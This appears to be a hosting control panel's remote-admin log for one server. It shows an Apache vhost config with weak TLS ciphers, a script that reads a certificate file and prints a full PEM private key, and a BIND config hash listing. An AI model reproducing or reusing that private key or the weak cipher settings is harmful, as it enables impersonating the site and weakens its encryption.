----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_cygnus_org.conf 2965
<VirtualHost *:80>
ServerName cygnus.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cygnus/public
<Directory /var/www/cygnus/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cygnus_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cygnus_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php
# RewriteEngine On
# RewriteCond %{REQUEST_METHOD} !POST
# RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
ProxyRequests Off
ProxyPreserveHost On
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://127.0.0.1:8080/$1 [P,L]
ProxyPassReverse / http://127.0.0.1:8080/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /webrtc/(.*) ws://127.0.0.1:8000/$1 [P,L]
ProxyPass /webrtc/ http://127.0.0.1:8000/
ProxyPassReverse /webrtc/ http://127.0.0.1:8000/
</VirtualHost>
<VirtualHost *:443>
ServerName cygnus.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
DocumentRoot /var/www/cygnus/public
<Directory /var/www/cygnus/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
ProxyRequests Off
ProxyPreserveHost On
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://127.0.0.1:8080/$1 [P,L]
ProxyPassReverse / http://127.0.0.1:8080/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /webrtc/(.*) ws://127.0.0.1:8000/$1 [P,L]
ProxyPass /webrtc/ http://127.0.0.1:8000/
ProxyPassReverse /webrtc/ http://127.0.0.1:8000/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /qwerty/(.*) ws://192.168.1.19/$1 [P,L]
#<Location /qwerty/>
# ProxyHTMLEnable On
# ProxyHTMLExtended On
# ProxyPassReverse /
# SetOutputFilter proxy-html
# ProxyHTMLURLMap / ./
#</Location>
# ProxyPass /qwerty/ http://192.168.1.19/
# ProxyPassReverse /qwerty/ http://192.168.1.19/
CustomLog /var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cygnus_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php
</VirtualHost>
2026-01-03 19:07:04:
PUT: /tmp/pkp830800
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:07:04:
chmod 755 /tmp/pkp830800; /tmp/pkp830800; rm /tmp/pkp830800
2026-01-03 19:07:05:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734 5393
cb:e0:5a:1a:86:8b:72:2b:5a:be:05:ab:9a:16:a3:d0
-----BEGIN CERTIFICATE-----
MIIFGjCCBAKgAwIBAgISBdt0mXJZhKosSEE/D8Pgrg9vMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTY1MzA3WhcNMjYwNDAzMTY1MzA2WjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAL6FEOblmWBpj/p7H71hQWaCucqOWppi0LG1A5T6s3ponF51
YVeKycDTdPhqMp8sDDV4EhPeT6FZR5EJg0kEBtrFZ9WOU/6EKeXnsQXSCp0iNCr3
eGE7UZ1+gHIg/6xRmU4ypqk/0SSWMdKGppEVogKuO8rFPIECAI8FUBWC004OIX4s
YoWsq9NWkVdVKXd/55E3r0d6ccV2pNGAJiu2+Nj02QGJyqxPFN2gpBcggZcwcOiO
4mmjAPc4V1+Sxzd/5c4JorGJdeqylbomSza8UHAzIlss0XJyXQpQ/8vHBnccenvu
XhSUx+KeOSFk0Ib8/Gg02fNrZUp9y1FeSZVCgL8CAwEAAaOCAjQwggIwMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUmEjvRsyKLV1a2VWYL8suoqqtNZEwHwYDVR0jBBgw
FoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpjeWdudXMu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8E
KDAmMCSgIqAghh5odHRwOi8vcjEzLmMubGVuY3Iub3JnLzExMi5jcmwwggENBgor
BgEEAdZ5AgQCBIH+BIH7APkAdwCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/
D8qpxgAAAZuE/HpVAAAEAwBIMEYCIQCu/Znw5lG7YOLXpvfrxbLFRTM5KAQBb9Uy
L+qoWsbDDQIhALq2uJNGsyOlKksBc+2xF49XpifrOmWwI7O13QhgJ4CIAH4AcX6V
88I4im2x44RJPTHhWqliCHYtQgDgBQzQZ7WmYeIAAAGbhPx67AAIAAAFAAXt6u4E
AwBHMEUCIQCHYW1IQWNBY4oxv+gvCsi4oTzyYkEskfl2G043i3BLqgIgJxKbgcX6
FrO2lCXdVFLe5qRA7mJ6QfeiTLflQofGXUcwDQYJKoZIhvcNAQELBQADggEBAByu
oGAyfdT6PK4t2v9OlUuShIj7wl1+QXaBb4f7NW59uSsuOv6OgKAARHmJlTzz9zi4
DZEWOiVWg8OtkuaCJK/ZD+Kr1Jn2w2EQRLOjIR5qjbhVZNQA3XqiSRyzdLUmOERN
ZG6RYUfI7Ph4xFJ0sUuoNAX7SW5Z2whpzxq4GagoN4ZbBu+3Nkd+ALq+D27u+64S
h3xeIzEiDn15lyraKMzRV9ZF+ztHelwOPIBATQplg1BtNYIjHFUcZpxtp+nZQEPv
Sx96f3zg+Qff40T3oo73xbmkPYic9SKsyPZIqcAxsLXCG02oHkeQ/OFWeO6S1MKp
clY91ZTr/pcxv8iTcwk=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC+hRDm5ZlgaY/6
ex+9YUFmgrnKjlqaYtCxtQOU+rN6aJxedWFXisnA03T4ajKfLAw1eBIT3k+hWUeR
CYNJBAbaxWfVjlP+hCnl57EF0gqdIjQq93hhO1GdfoByIP+sUZlOMqapP9EkljHS
hqaRFaICrjvKxTyBAgCPBVAVgtNODiF+LGKFrKvTVpFXVSl3f+eRN69HenHFdqTR
gCYrtvjY9NkBicqsTxTdoKQXIIGXMHDojuJpowD3OFdfksc3f+XOCaKxiXXqspW6
Jks2vFBwMyJbLNFycl0KUP/LxwZ3HHp77l4UlMfinjkhZNCG/PxoNNnza2VKfctR
XkmVQoC/AgMBAAECggEAXoe8tqwmWXmXOEO+IGOwpRHo6JGQb/jmrr3vbIyl3+8m
4xFfvqV87IGfEKD0xBiBaEhOw+/y185qHZM4QlLOqd734bTQhUEDXvECWy54GLY/
ZzBJ2QirOrdpOPeZlGEabXvhSKoC9iHVz60C2Yr/y0+zGC2cEzCwoUYUEdBLUvcB
fN7uGcYFULkbbdPtbUUnSPKZj7ZxGMkkLuZPInFZq/5ZFlDA/CV74eA0xtmfpifX
EY4EQDsX4Zhe+CXYuP6U4PPnZVddaToYYal1IRvriTGagED7J/MXGrUsHOaxvGkT
hhJwuoOcQxECTylCGyF2uL1Fe8hv7nFktlNeUUg63QKBgQDo4ZGOJq4MJLbb+Gf9
JYoI2HjEQ6wTcu8BTr0XNBgaASVnT0OE/p5QGCeGstTYthI9EmGd0t30e1wpxfEg
mJii8UKvBheryGpHjyhTh16eYUF4+HwSY227Wgbzuc53DlBIZm+G4ZIysemllZld
5T5B1nkW2+Tfec1UO0aKs4xFgwKBgQDRbu2aayw2ubuaqMf/DfqrAFM7QDSQtK09
KF8tbbsLwQPK+69BiMeYYuQCSCC737uDP8zOMpRI05NV6n5EonWcs4aoJSZzL/EG
I4Onu8PctjCwV5cO94ow9hUUxdr8QZrervtKJg+QCkXSCsLKJz/clOP0TbnApQ9u
oRqiP19vFQKBgBnrMQX/LBPR6kAlL32vNeOyJA7D8Vzgx9T/bHAurhgG1KDg44Tj
yb7kUVHeiW3tJa6CYzbrhyR0rlc/3oxgL2zDKUbNiMjnr1xzhGt3f4JlFKJgFX7+
bfISHP/3SBFcGHdWX0dFx724q2ZwdfdLUliFhEiVBK4SolWjm0BIp239AoGATOwo
Wwo4IBWR4VlSs8xnoD0rVNzdMbUa2Bam9qGSDNwkz34nvbNGVCMmSexCEZ84WRmq
2KVdL25+dBT/safV+Os7bzDN8YrPRQjwR0BAzSUhtvNE6VtkJ12LGqkdKH/UKSwt
4ese1jHfuSj4qJVH8HXDUCzoJ+i4RVLo3GTYYY0CgYEAoBkIBHoFZYSZmI/5X3Uj
RDoG2FiXESbDrkHwFE5WD7JyuCc6m5OJ9uwqoOlayVBsNaRPr5/fuXF8CoDR/DIP
QJ02AZyhxz3VFn+A3wZdQ2Ppvs0L3Lfki4ZpcrMrJCq0rLpzXiEnXFv95dsi3KbP
3gzLrhTHTnzA5nW+aTVR76E=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 19:07:05: Establishing a connection
2026-01-03 19:07:05:
PUT: /tmp/pkp589052
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:07:05:
runuser -l bind -s /bin/bash -c '/tmp/pkp589052; rm /tmp/pkp589052'
2026-01-03 19:07:05:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
